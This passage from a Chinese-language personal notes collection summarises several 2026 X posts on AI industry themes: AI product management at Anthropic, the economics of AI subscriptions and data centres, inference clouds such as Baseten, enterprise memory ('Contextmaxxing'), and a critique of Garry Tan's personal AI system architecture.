原始來源與檔名：20260512_2026-04-28T092711+0800-Cat Wu 面试了几百个 PM 候选人，几乎没人答对一个问题：AI 产品经理到底应该干什么？.md
來源：[[@dotey]] (轉載 Lenny's Podcast) / X (Twitter) — 2026-04-24
原始檔名：`2026-04-28T092711+0800-Cat Wu 面试了几百个 PM 候选人，几乎没人答对一个问题：AI 产品经理到底应该干什么？.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Old PM = 6-12 month roadmap + Cross-team alignment + Endless PRDs.
> AI PM = 1-day to 1-week shipping + "Right amount of AGI pilled" + Engineering background.
> Best Execution Model = Engineers end-to-end (idea to launch) + Product Taste.
_在 AI 時代，代碼的產出變得極其廉價，產品功能從構想到上線的時間被壓縮到了一天或一週。這使得傳統 PM 協調多季度路線圖的技能變得不再重要。Anthropic 的產品負責人 Cat Wu 指出，未來的 AI 產品經理必須具備工程背景，能夠自己手寫代碼或極速驗證概念；更關鍵的是要具備「產品品味 (Product Taste)」，並能在過度神化 AI (Too AGI pilled) 與過度保守之間，找到剛剛好的落地節奏。_
### 一句話
> 這是一篇來自 Anthropic 內部視角的重磅訪談。Cat Wu 分享了 Claude Code 團隊如何在一天內發布新功能的秘密：依賴「研究預覽 (Research Preview)」機制降低心理門檻、建立無縫的發布流水線，並讓具備強大產品品味的工程師主導端到端流程。她坦言，傳統的 PRD 和 6 個月路線圖已經死亡，取而代之的是每週的數據覆盤和團隊原則。同時，訪談也側面暴露了 Anthropic 在極速狂奔下遇到的代碼洩露危機與封殺開源社群 (OpenClaw) 的爭議，展現了速度文化背後的代價。
### 餐巾紙草圖
```text
[ The "Right Amount of AGI Pilled" Spectrum ]
Too Conservative <-----------------|-----------------> Too AGI Pilled
(Thinks AI is just | (Builds an empty text box
a better autocomplete) Cat Wu's Sweet Spot assuming AI can do everything,
| ignoring current model limits)
Builds for the model's
current boundary, pushes
it slightly, handles
edge cases gracefully.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **PM 角色的劇變**: 大多數求職者還在用舊思維（長週期規劃）應徵。現在的 AI PM 要想的是：如何在一週甚至一天內把產品推給使用者？
- **Anthropic 的速度秘訣**:
1. 設定極其清晰的目標，排除無關方案。
2. 使用 Research Preview 機制，降低發布的承諾壓力。
3. 建立 Evergreen Launch Room，讓工程、行銷、文檔團隊在一天內接力完成對外發布。
- **PRD 的替代品**: 每週嚴格的 Metrics Readout（看數據）和 Team Principles（決策原則），讓團隊能自我決策。
- **工程背景與角色融合**: PM 在寫代碼，工程師在做產品決策。Anthropic 傾向招募「有產品品味的工程師」，讓他們端到端完成任務，減少 PM 的干預。
- **核心爭議回應**:
- 源碼洩露：定性為「流程失敗（人工審查漏掉 source map）」，涉事員工未被開除，重點在於加固系統。
- 封堵 OpenClaw：Cat 解釋為「容量管理與保障官方產品」，但並未回應「抄襲開源功能再封殺」的生態圍牆爭議。
- **Agent 矩陣願景**: 產品路線是從提升單任務成功率開始，演進到同時並行數十個 Agent 的矩陣操作。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **代碼貶值導致 PM 價值轉移**: 當 AI 讓寫代碼的成本趨近於零時，「把事情做出來 (How)」不再是瓶頸，「決定做什麼 (What)」成為最核心的價值。這也是為什麼 Product Taste（產品品味）成為最稀缺的技能。
2. **速度是 AI 時代的唯一護城河**: 模型迭代太快，花半年規劃的功能可能在下一次模型更新時直接成為廢紙。因此，用 Research Preview 快速發布、收集真實回饋，勝過在辦公室裡寫一百頁完美的 PRD。
### 關鍵證據
- Cat Wu 與 Boris Cherny 的搭檔模式（80% 腦波同步，20% 各自衝刺），以及工程師週末直接把想法推上線的實際案例。
- Token 成本的變化：雖然 AI 消耗的 Token 成本在急遽上升，但依然遠低於工程師的薪資，這在經濟學上合理化了極度依賴 AI 輔助開發的模式。
### 邊界條件
- 這種「極速狂奔」的文化依賴於使用者極高的寬容度（願意接受產品重疊和潛在的混亂）。一旦應用場景涉及到生命安全、金融合規或核設施，這種 Research Preview 的開發模式將引發災難。兩次代碼洩露就是速度文化反噬的警告。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Reflections on AI Engineering Truths》中提到的「AI 產品的護城河不在技術，而在迭代速度與工作流整合」。同時，Cat 對 OpenClaw 的封殺決策，也驗證了那篇文章中「API 供應商必然會向上整合」的預言。
- **深層洞見**: **"做到恰好正确程度的 AGI 信仰非常难。 (It is very hard to be the right amount of AGI pilled.)"** 這是整篇訪談的靈魂。太相信未來，會做出當下無法使用的玩具；太受限於當下，會被時代拋棄。優秀的 PM 必須像衝浪者一樣，永遠踩在模型能力邊界那條脆弱的浪尖上。
- **行動呼籲**:
1. 如果你是 PM，請立刻開始學習寫代碼（或熟練使用 Cursor/Claude Code）。如果連評估技術難度的能力都沒有，你在 AI 團隊中將失去話語權。
2. 把你手邊那個準備規劃 3 個月的專案砍掉 80% 的功能，思考如何在這個週末就以 Beta 版上線測試。
產業趨勢
次貸級 AI 危機：這是一場被補貼掩蓋的瘋狂算力騙局 (The Subprime AI Crisis)
"醒醒吧，AI 的經濟帳根本算不平。你以為你每個月花 20 美金用 Claude 或 ChatGPT 吃到飽是常態？不，那是矽谷巨頭在用投資人的錢替你補貼天價的 GPU 算力。生成式 AI 就像一家每加侖汽油成本 150 美元卻只收你 20 美元月費的計程車公司。當微軟 (Copilot) 和 Anthropic 撐不住開始按「實際 Token 消耗量」向你收費（一個開發者一天可能要燒掉 30 美元）時，所有企業都會驚恐地發現：這項技術根本創造不出能回本的生產力。"
---
tags: [產業趨勢, 商業策略]
date: 2026-04-29
source: "20260512_2026-05-05T094218+0800-AI 的经济账根本算不通.md"
---
# 次貸級 AI 危機：這是一場被補貼掩蓋的瘋狂算力騙局 (The Subprime AI Crisis)
原始來源與檔名：20260512_2026-05-05T094218+0800-AI 的经济账根本算不通.md
來源：[[@dotey]] / X (Twitter) — 2026-04-29
原始檔名：`2026-05-05T094218+0800-AI 的经济账根本算不通.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Subscription Price ($20/mo) <<< Actual Token Cost (Up to $100/mo).
> Data Center Capex ($ Billions) > Expected AI Revenue (Hypothetical).
> Result = A systemic collapse waiting to happen when investors demand ROI and hyperscalers stop subsidizing tokens.
_這是一篇如同《大賣空》(The Big Short) 般驚悚的產業深度揭秘文。作者 Ed Zitron 犀利地指出，當前生成式 AI 的繁榮是建立在一個巨大的「經濟錯配」上：AI 公司為了圈地，用固定的包月訂閱費（如 20 美元）掩蓋了極其高昂且不可預測的底層 Token 消耗成本（用戶每花 1 美元，AI 公司可能燒掉 8 美元）。當 GitHub Copilot 宣佈轉向「按使用量計費 (Token-based billing)」時，戳破了這個泡沫的第一個洞。更可怕的是，為了支撐 OpenAI 等公司畫出的大餅，Oracle 等基礎設施巨頭正在舉債數百億美元興建 AI 資料中心；如果 OpenAI 無法在 4 年內賺到荒謬的 8520 億美元來支付算力合約，整個矽谷的基礎設施將面臨骨牌式的崩塌。_
### 一句話
> 醒醒吧，AI 的經濟帳根本算不平。你以為你每個月花 20 美金用 Claude 或 ChatGPT 吃到飽是常態？不，那是矽谷巨頭在用投資人的錢替你補貼天價的 GPU 算力。生成式 AI 就像一家每加侖汽油成本 150 美元卻只收你 20 美元月費的計程車公司。當微軟 (Copilot) 和 Anthropic 撐不住開始按「實際 Token 消耗量」向你收費（一個開發者一天可能要燒掉 30 美元）時，所有企業都會驚恐地發現：這項技術根本創造不出能回本的生產力。
### 餐巾紙草圖
```text
[ The AI Subprime Bubble ]
[ End Users ] (Pay $20/mo, burn $80/mo in compute)
│
▼
[ AI Startups (OpenAI/Anthropic) ] (Bleed billions subsidizing users)
│
▼
Promises 1000% future growth to justify...
│
▼
[ Cloud Providers (Oracle/CoreWeave) ] (Take on massive debt to build Data Centers)
│
▼
[ NVIDIA ] (Sells GPUs, books revenue)
*If users refuse to pay true token costs -> Startups default -> Clouds default -> BOOM.*
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **事件引爆點**: GitHub Copilot 取消固定月費制，改為按 Token 實際用量計費。這標誌著巨頭（連最有錢的微軟）也無法繼續補貼龐大的推理算力了。
- **訂閱制的騙局**: AI 的成本是不穩定的（一個指令可能消耗幾萬個 Token）。用固定月費銷售 LLM 服務，本質上是隱藏真實成本（宰客），讓使用者養成依賴，並對 AI 的幻覺與錯誤保持寬容（因為不用為錯誤的重試買單）。
- **真實成本的恐怖**: 企業級使用（如 Claude Code），一個開發者每天可能消耗 13 到 30 美元。一個 10 人團隊一年在 Token 上的花費可能高達 7 到 10 萬美元。如果取消補貼，幾乎沒有企業能證明這種投資回報率 (ROI) 是合理的。
- **資料中心的經濟死局**: 建置 AI 資料中心（如 Oracle 為 OpenAI 建的 Stargate Abilene）需要數百億美元的資本支出與舉債。即使 100% 滿載，利潤率極低且回本期長達 6 年（而硬體 1 年就迭代過時）。
- **核彈級的系統性風險**: Oracle 等雲端服務商的生存，完全押注在 OpenAI 能否支付天文數字的算力合約。OpenAI 被迫預測自己到 2030 年底能創造 6730 億美元的營收（比現在的微軟還高）。如果 OpenAI 達不到這個近乎幻想的目標而違約，Oracle 等巨頭將面臨毀滅性的債務危機。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **SaaS 經濟學的不適用**: 傳統 SaaS (如 Google Workspace) 的邊際成本遞減且可預測；但生成式 AI 的每次調用都需要昂貴的 GPU 運算，重度使用者的成本會直接擊穿利潤率。因此，「訂閱吃到飽」在經濟學上絕對不成立。
2. **掩蓋成本導致的虛假繁榮**: 如果每次 AI 寫出有 Bug 的代碼，使用者的信用卡就會被扣 15 美元，大眾對 AI 的寬容度會瞬間降至冰點。整個行業的繁榮，建立在使用者不知道自己正在燒掉多少錢的基礎上。
3. **基礎設施的紙牌屋**: 資料中心建設（Capex）的計算極度嚴謹。文章詳細計算了 100MW 資料中心的折舊、電費、融資利息，證明即使在完美情況下，其毛利率也低得可憐（甚至為負）。這些投資完全依賴 OpenAI 畫出的大餅。
### 關鍵證據
- 引用華爾街日報：Copilot 早期每位用戶每月虧損超過 20 美元，重度用戶高達 80 美元。
- 引用 Anthropic 官方文件：企業部署 Claude Code，90% 用戶每個活躍日成本在 30 美元以內。
- 引用 Oracle 財報與發債紀錄：Oracle 自由現金流為負 247 億美元，近期瘋狂發行數百億美元債券以支撐資料中心建設。
### 邊界條件
- **模型壓縮與算力革命的希望**: 作者的悲觀預測建立在「Token 成本不會指數級下降」的前提上。雖然推理模型 (Reasoning models) 確實增加了 Token 消耗，但如果未來在晶片架構或模型蒸餾技術上出現顛覆性突破，大幅壓低了推理的物理成本，這個泡沫就有可能實現軟著陸。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 強烈呼應了《所有人都低估了 AI 推理層的價值》一文。Baseten 的繁榮證明了推理算力的極度緊缺，但本篇文章補上了黑暗的一面：這股緊缺的背後，是由不計成本的 VC 資金與科技巨頭的補貼硬撐起來的，終端客戶根本沒有為這些算力支付全額的真實價格。
- **深層洞見**: **"You cannot guarantee that an LLM will execute an action, nor can you guarantee it will give a reality-based result... This is an abusive, manipulative, and deceptive way of doing business." (你無法保證 LLM 一定會執行任務，也無法保證結果正確... 隱藏計費是一場欺騙)。** 這指出了 Agentic 時代最可怕的雷區。當 Agent 開始在背景大量消耗 Token 去執行長週期任務時，一旦改為按量計費，企業將面臨失控的帳單。
- **行動呼籲**:
身為開發者或企業主，立即審查你公司內部的 AI 依賴度。假設明天開始，所有的 AI API 與訂閱費用上漲 5 倍（回歸真實成本），你現在開發的工作流或商業模式還能獲利嗎？如果不能，請立刻停止擴張，尋找更具經濟效益的小模型 (Small Language Models) 或本地部署方案。
產業趨勢
算力狂潮的真正贏家：為何 Inference (推理層) 才是 AI 的終極戰場
"不要再把眼光只盯著 OpenAI 或 Claude 了。Baseten 的瘋狂成長揭露了殘酷的真相：企業根本不想把敏感資料交給公有大模型，他們都在拿開源模型（如 Llama, Qwen）用自己的數據做「後訓練」，然後放在專屬的算力集群上跑。未來 AI 產業 95% 的錢，都會花在這種「跑定製模型」的 Inference (推理) 層上。誰掌握了推理雲和企業獨家的工作流數據，誰就掌握了 AI 時代真正的護城河。"
---
tags: [產業趨勢, 系統工程]
date: 2026-05-03
source: "20260512_2026-05-05T094206+0800-所有人都低估了 AI 推理层的价值，而高估了大模型本身.md"
---
# 算力狂潮的真正贏家：為何 Inference (推理層) 才是 AI 的終極戰場
原始來源與檔名：20260512_2026-05-05T094206+0800-所有人都低估了 AI 推理层的价值，而高估了大模型本身.md
來源：[[@SaitoWu]] / X (Twitter) — 2026-05-03
原始檔名：`2026-05-05T094206+0800-所有人都低估了 AI 推理层的价值，而高估了大模型本身.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Foundation Models (OpenAI/Anthropic) -> Commoditized (Cheaper, abundant).
> Custom Models (Post-trained on enterprise data) -> 95% of token volume.
> Value Capture = Inference Cloud (Running these custom models at scale with high utilization).
_這篇文章透過分析 AI 推理雲服務商 Baseten (一年內成長 30 倍，預計營收破 10 億美元) 的爆發，點出了一個顛覆大眾認知的產業趨勢：所有人都高估了「訓練通用大模型」的價值，卻低估了「模型推理服務 (Inference)」的戰略地位。資料顯示，95% 的 Token 消耗來自企業基於自身私有數據進行後訓練 (Post-training) 的定製模型。未來的競爭不在於誰能練出最聰明的底層模型，而在於誰能把企業的工作流 (Workflow)、獨特數據與專屬的推理算力最緊密地綁定在一起。_
### 一句話
> 不要再把眼光只盯著 OpenAI 或 Claude 了。Baseten 的瘋狂成長揭露了殘酷的真相：企業根本不想把敏感資料交給公有大模型，他們都在拿開源模型（如 Llama, Qwen）用自己的數據做「後訓練」，然後放在專屬的算力集群上跑。未來 AI 產業 95% 的錢，都會花在這種「跑定製模型」的 Inference (推理) 層上。誰掌握了推理雲和企業獨家的工作流數據，誰就掌握了 AI 時代真正的護城河。
### 餐巾紙草圖
```text
[ The Value Shift in AI ]
Past (2023-2024):
Value lived in Foundational Training (Giant Labs).
Enterprises merely sent API calls to GPT-4.
Future (2025-2026+):
Value lives in Post-Training + Inference (Neoclouds like Baseten).
Enterprise Data + Open Source Model -> Custom Model -> Runs on Dedicated Inference.
Result: 95% of tokens are generated by Custom Models.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心判斷**: Inference (推理) 是 AI 的終極市場，且當前供給極度緊張。
- **長尾與定製模型的爆發**: 隨著開源模型能力跨越門檻，企業開始內部建置智能。Baseten 平台上高達 **95% 的 Tokens 來自後訓練 (Post-trained) 的定製模型**，而非原始開源權重。
- **專屬集群 (Dedicated Inference)**: 客戶的核心訴求是將自身數據與 Workflow 深度嵌入模型中，因此極度偏好專屬算力，而非共享資源。
- **應用層的護城河**: 應用公司 (如醫療 AI Abridge) 的價值在於獲取「獨特的使用者回饋訊號 (Workflow data)」。這些訊號用於後訓練，形成實驗室無法複製的差異化模型。
- **全球開源生態**: 客戶態度極度務實，中國模型 (DeepSeek, Qwen) 因為性價比極高（便宜 80% 且低延遲）被大量採用。
- **供給側的瘋狂**: 集群利用率長期維持在 90% 以上。要買大規模 GPU (如 B200) 需簽 3-5 年合約並預付 20-30%。
- **閉環的形成**: 推理 (Inference) 產生數據 -> 評估 (Eval) -> 後訓練 (Post-train) 優化模型 -> 再進入推理。推理不再是最後一步，而是智能循環的引擎。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎模型的大宗商品化 (Commoditization of Foundational Models)**: 當開源模型 (如 Llama, Qwen) 的能力逼近甚至在特定領域超越閉源巨頭時，企業就沒有理由忍受閉源 API 的高延遲與資料外洩風險。這推動了「模型下放」的趨勢，企業紛紛轉向自建定製模型。
2. **軟體定義的黏著度**: 單純租 GPU 是沒有護城河的（IaaS 模式），但 Baseten 透過提供運行時優化 (KV Cache, 異步批次處理) 以及打通「後訓練與推理」的鏈路（PaaS 模式），創造了極高的客戶黏著度。前 30 大客戶零流失率就是最強的證據。
### 關鍵證據
- Baseten 一年內 30 倍的成長速度與預期 10 億美元的營收。
- **95% Token 佔比**這個驚人的數據點，徹底粉碎了「通用大模型一統天下」的敘事。
### 邊界條件
- **硬體迭代的風險**: 推理雲的重資產屬性意味著他們必須承擔極高的硬體折舊風險。當下一代晶片 (如 Rubin 甚至更未來的架構) 推出時，現有的大量 H100/B200 集群如果無法維持高利用率，財務壓力將會非常巨大（這點在後續的《AI 經濟帳》文章中會有更殘酷的探討）。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了我們先前在《推理側 AI Infra 的戰略價值》中的觀點（文章 156）：新雲 (Neoclouds) 正在取代 AWS 的地位。同時，這也解釋了為什麼我們在實踐中會使用「本地量化模型 (Local Qwen)」來處理大批量的自動化任務——因為通用 API 太貴且不夠專精。
- **深層洞見**: **"真正能抓住这一波机会的关键，在于尽早把自己的用户信号，转化为模型层面的竞争优势。"** 大模型是一張白紙，使用者的點擊、修改、退回重寫（User Signals），才是墨水。如果你做了一個 AI 應用，卻沒有把使用者糾正 AI 的動作記錄下來用於未來的「後訓練」，那你只是在當 OpenAI 的免費 API 搬運工，隨時會被取代。
- **行動呼籲**:
身為企業架構師或產品經理，立即停止「只把資料丟給 ChatGPT API」的開發模式。開始規劃資料飛輪：如何合法地記錄使用者的 prompt 與修改軌跡？這些日誌將是你未來 12 個月內，用來微調 (Fine-tune) 出專屬開源模型的最寶貴資產。
知識管理
Contextmaxxing > Tokenmaxxing：為什麼建立記憶比狂燒 Token 更重要
"這篇來自 Sentra (構建企業級語義檔案系統的團隊) 的深度文章，探討了 AI 時代的企業成本危機。作者指出，讓 Agent 盲目消耗 Token 去重建上下文（Tokenmaxxing）是一種偽智能。真正的解法是「Contextmaxxing」：建立持續編譯的企業記憶基礎設施。當 Agent 能在行動前獲得高密度的、預先整理好的相關歷史與決策脈絡，不僅能節省高達 98% 的 Token 浪費，還能大幅提升決策的正確性。"
---
tags: [知識管理, 系統設計, Token經濟學, 企業記憶]
date: 2026-05-11
source: "20260512_2026-05-12T093119+0800-Contextmaxxing > Tokenmaxxing Why Better Memory Beats Burning More Tokens.md"
---
# Contextmaxxing > Tokenmaxxing：為什麼建立記憶比狂燒 Token 更重要
原始來源與檔名：20260512_2026-05-12T093119+0800-Contextmaxxing > Tokenmaxxing Why Better Memory Beats Burning More Tokens.md
來源：[[@ashwingop]] (Sentra) / X (Twitter) — 2026-05-11
原始檔名：`2026-05-12T093119+0800-Contextmaxxing > Tokenmaxxing Why Better Memory Beats Burning More Tokens.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Tokenmaxxing = Burning tokens on searching, reading, and re-discovering the same facts -> AI as a highly-paid intern starting from scratch every day.
> Contextmaxxing = Supplying pre-compiled, verified, relevant state (Company Brain) BEFORE the AI acts -> AI as a seasoned executive.
> Outcome = Up to 98% reduction in token waste + Drastically higher success rate.
_企業的 AI 帳單正在失控。因為多數 Agent 都在進行 "Tokenmaxxing"——花費大量 Token 在專案代碼、Slack 和 Jira 中反覆搜索、重建「這家公司到底發生過什麼事」的脈絡。解決方案是 "Contextmaxxing"：不要給模型更大的上下文視窗去塞垃圾，而是建立一個「企業大腦 (Company Brain)」。在 Agent 行動前，主動提供經過整理、權限控管的相關狀態包。更好的記憶，永遠勝過燃燒更多的 Token。_
### 一句話
> 這篇來自 Sentra (構建企業級語義檔案系統的團隊) 的深度文章，探討了 AI 時代的企業成本危機。作者指出，讓 Agent 盲目消耗 Token 去重建上下文（Tokenmaxxing）是一種偽智能。真正的解法是「Contextmaxxing」：建立持續編譯的企業記憶基礎設施。當 Agent 能在行動前獲得高密度的、預先整理好的相關歷史與決策脈絡，不僅能節省高達 98% 的 Token 浪費，還能大幅提升決策的正確性。
### 餐巾紙草圖
```text
[The Shift from Tokenmaxxing to Contextmaxxing]
❌ Tokenmaxxing (The Brute-Force Way)
Task -> Agent boots up (Blank Slate) -> Burns 100k tokens searching Slack/Docs for context -> Generates answer -> Context is forgotten. (Repeat tomorrow)
✅ Contextmaxxing (The Systematic Way)
Company Data -> [ Continually Compiled Semantic Memory (Company Brain) ]
|
Task -> Agent requests Context Pack -> Receives 5k high-density, verified tokens -> Acts with precision.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **成本危機**: Token 正在成為像雲端運算 (EC2, S3) 一樣的基礎設施帳單。Uber 等公司發現其 AI 編程工具消耗預算的速度遠超預期。
- **Tokenmaxxing 的陷阱**: 業界有一種迷思，認為消耗越多 Token 代表 Agent 做了越多工作。但實際上，許多 Token 被浪費在「重建已知狀態」——反覆閱讀代碼庫、爬梳 Slack，只為了找回某個過往的決策脈絡。這是偽裝成智能的浪費。
- **Contextmaxxing 的解法**: 不問「能用多少 AI」，而是問「在 AI 行動前，能餵給它多少最正確的上下文」。一個擁有優良上下文的普通模型，遠勝一個只有過期上下文的頂尖模型。
- **記憶即基礎設施**: 企業面臨的最難問題不是「邏輯推理」，而是「狀態同步」。解決方案是建立持久的、權限控管的、語義化的「企業大腦 (Company Brain)」。
- **RAG 的局限**: 傳統的檢索增強生成（查詢時檢索）是不夠的。這會導致模型被迫在龐雜的原始文件中重新推導。記憶必須是預先「編譯 (Compiled)」過的狀態物件。
- **成效**: 透過這種語義檔案系統，特定任務的 Context-token 消耗下降了 50% 到 98%。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **盲目擴大上下文視窗 (Context Window) 是毒藥**: 許多人以為模型支援 100 萬 Token 就能解決失憶問題。作者直指痛點：「更大的視窗只會讓人更容易把無關的垃圾倒進去。瓶頸從『裝不裝得下』變成了『什麼才該放進來』。」
2. **從「個人第二大腦」到「企業神經系統」的躍遷**: Garry Tan 和 Karpathy 都提出了本地端維持持久 Wiki / GBrain 的做法。但作者指出，在企業層級，這個記憶庫不能是單人的，它必須解決多人協作、權限劃分、即時同步與數據隔離的硬核工程難題。
3. **語義記憶的結構性權衡 (Structural Tradeoff)**: 作者引用其團隊之前的論文，指出如果只按「字面意義」組織記憶，雖然容易泛化，但也極易造成「干擾、遺忘與錯誤回憶」。因此，企業大腦不能只是 Vector DB，必須是一個具備結構化時間線與狀態屬性的「世界模型」。
### 關鍵證據
- 點出了 Uber 在 2026 年初耗盡 AI 預算的新聞，以及 Airbnb 宣稱 AI 客服解決 40% 問題的案例。這證明 Token 成本管理已經從「實驗室話題」變成了「CFO 桌上的財報危機」。
### 邊界條件
- 構建「企業大腦」的成本與技術門檻極高。企業必須願意開放所有 Slack、Jira、Git 庫的權限給中央系統進行語義分析。這將引發巨大的隱私與資安挑戰，在受高度監管的行業（如金融、醫療）短期內極難落地。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美總結了我們先前探討的《AGI 前夜的工程基線》與《Your Obsidian Vault is Wasting Your Intelligence》。如果說 Obsidian 是個人的 Contextmaxxing，那麼 Sentra 的 Company Brain 就是企業級的 Contextmaxxing 實踐。
- **深層洞見**: **"A decent agent with great context will usually beat a great agent with stale, partial, or wrong context." (一個擁有絕佳上下文的普通智能體，通常會擊敗一個上下文過期、殘缺或錯誤的頂尖智能體。)** 這句話戳破了矽谷的模型崇拜。未來企業的核心資產不是哪家的大模型，而是那套能精準提煉「這家公司到底怎麼運作」的私有記憶編譯系統。
- **行動呼籲**:
下次在公司導入 AI 工具（如 Cursor 或 Copilot）時，不要只看它每月多少錢。去評估：你的團隊花了多少時間（和 Token）在 Prompt 裡貼上過往的背景介紹？開始整理一份共享的 `ARCHITECTURE.md` 或 `PROJECT_CONTEXT.md`，這是實現團隊級 Contextmaxxing 最低成本的第一步。
知識管理
YC CEO 的 10 萬頁神經系統與 J叔的治理拷問 (Meta-Meta-Prompting: Garry Tan's 100k-Page Brain vs. J-Uncle's SSOT Governance)
"這是一篇高濃度的對話式架構評析。針對 YC CEO Garry Tan 發布的個人 AI 系統架構（GBrain, 100+ Skills, OpenClaw），J叔結合自身構建 12-Meta_J 系統的經驗進行了逐段解讀與批判。J叔認可了「將工作流固化為 Skill」和「讓 AI 擁有長度記憶庫」的方向，但指出 Garry 方案的致命傷：缺乏跨技能的耦合治理（SSOT）以及對被動情報的爬取能力。最後，J叔給出了適合中國普通用戶立刻上手的極簡實踐路徑：Obsidian + Claude Code。"
---
tags: [知識管理, Agent架構, 系統設計, 實踐指南]
date: 2026-05-10
source: "20260512_2026-05-12T093003+0800-Meta-Meta-Prompting：YC CEO 凌晨 2 点干的活，我做了一年（含 J叔逐段解读）.md"
---
# YC CEO 的 10 萬頁神經系統與 J叔的治理拷問 (Meta-Meta-Prompting: Garry Tan's 100k-Page Brain vs. J-Uncle's SSOT Governance)
原始來源與檔名：20260512_2026-05-12T093003+0800-Meta-Meta-Prompting：YC CEO 凌晨 2 点干的活，我做了一年（含 J叔逐段解读）.md
來源：[[@UncleJAI]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093003+0800-Meta-Meta-Prompting：YC CEO 凌晨 2 点干的活，我做了一年（含 J叔逐段解读）.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Garry's System = GBrain (100k pages) + Skillify (recursive skills) + OpenClaw (Router)
> The Flaw = Compounding scale WITHOUT Single-Source-of-Truth (SSOT) Governance -> Potential self-contradiction.
> The Solution = Obsidian Vault (Canonical Truth) -> Sync Pipeline -> Agent Projection
_YC CEO Garry Tan 寫了一篇爆款文章，展示了他如何用 AI 搭建包含 10 萬頁記憶、能自動把書映射到個人生活的「第二大腦神經系統」。國內架構師 J叔（UncleJAI）進行了逐段拆解：他肯定了 Garry 的「厚技能、厚數據、薄編排層」架構，但也犀利指出 Garry 的系統缺乏「單一真相源 (SSOT) 治理」與「自動化情報攝入」。J叔警告，規模一旦失控，沒有治理的自動複利只會變成「自我矛盾」。_
### 一句話
> 這是一篇高濃度的對話式架構評析。針對 YC CEO Garry Tan 發布的個人 AI 系統架構（GBrain, 100+ Skills, OpenClaw），J叔結合自身構建 12-Meta_J 系統的經驗進行了逐段解讀與批判。J叔認可了「將工作流固化為 Skill」和「讓 AI 擁有長度記憶庫」的方向，但指出 Garry 方案的致命傷：缺乏跨技能的耦合治理（SSOT）以及對被動情報的爬取能力。最後，J叔給出了適合中國普通用戶立刻上手的極簡實踐路徑：Obsidian + Claude Code。
### 餐巾紙草圖
```text
[Garry Tan's Architecture]
Input (Manual ingest) -> /Skillify (Creates specific skill.md) -> GBrain (100k pages)
(Issue: High scale, but prone to dirty cache and conflicting rules)
[J-Uncle's 12-Meta_J Architecture]
Passive Intel (Reddit Hunter) + Active Input
|
v
[ SSOT Governance (Canonical Vault) ] <-- The missing piece in Garry's system
|
v
Distribution (Max VPS Cloud Agent & Discord Bot Tony)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: YC CEO Garry Tan 發文介紹自己的 AI 系統架構。J叔（前龍湖 HR 高管、AI 架構師）進行逐段解讀。
- **Book-mirror (書鏡映射)**: Garry 讓 AI 將一本書的觀點映射到他真實生活的 10 萬字大腦中。J叔指出：工具不重要，重要的是你願不願意把真實的、極度具體的自我記憶放進 Vault 裡。
- **錯誤修復機制的差異**: Garry 發現錯誤後增加人工模型交叉校驗。J叔的系統則是將 bug 直接改寫為系統結構（如：寫作前強制檢查日期的鐵律），確保同類錯誤在機制上絕跡。
- **Skillify (元技能)**: Garry 用 Skill 來生成 Skill。J叔指出這會產生「耦合治理危機」。100 個技能如果不強制導向單一來源（SSOT），一處更新會導致下游崩潰。
- **神經系統與信號源**: Garry 的大腦依賴主動攝入。J叔指出，真正有價值的往往是「你不知道自己不知道的」，因此他的系統配備了被動爬蟲（Reddit Hunter）。
- **架構共識與分歧**: 雙方都認同 "Fat Skills, Fat Data, Thin Harness"。但 J叔強調，Garry 的系統缺乏資料流向控制（資料只能從 canonical 源向下流動），規模過大時必然翻車。
- **落地建議**: J叔批評 Garry 的開源庫對國內麻瓜不友好。給出三步走：1. 裝 Obsidian 建 Vault；2. 裝 Claude Code 與 skill-creator；3. 跑一次本地的書鏡映射。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **從「文件櫃」到「神經系統」的躍遷**: 傳統的 Notion 筆記只是死數據（文件櫃），而由 LLM 加上 Cron 腳本驅動的系統是活的。它能在開會前主動提取人物關聯，這依賴於系統對數據具有「計算與關聯」能力。兩位架構師都印證了這一點。
2. **無治理的複利等於技術債 (Compounding without governance = Technical Debt)**: 這是 J叔對 Garry 最致命的打擊。在軟體工程中，如果多個模組（Skills）依賴同一份資料（Brain），缺乏「單一真相源 (SSOT)」會導致緩存不一致 (Dirty Cache)。Garry 的系統是個人玩具的極致，但若要升級為企業級 (如 YC 投資組合) 神經系統，缺乏嚴格的分層投影機制絕對會崩潰。
3. **被動訊號的價值**: 決策的品質受限於情報的廣度。如果 AI 只處理你主動丟給它的郵件和會議（Garry 的模式），這只是效率提升。如果 AI 能夠 24 小時在外部論壇尋找你未曾察覺的異常訊號（J叔的模式），這才是 Alpha 的來源。
### 關鍵證據
- J叔引用了自己架構中的實際組件（`npm run meta:sync`, `meta-genesis`, `Tony Discord Bot`）來對標 Garry 的工具。這種架構層級的硬碰硬，證明了 J叔的批判不是出於嫉妒，而是來自真實踩坑後的工程直覺。
### 隱形假設
- 兩者都強烈假設未來的競爭力屬於「構建私有複利 AI 系統的個體」，而非依賴 SaaS 公司的通用產品。這意味著掌握本地文件與本地 Agent 調用能力將成為核心素養。
### 邊界條件
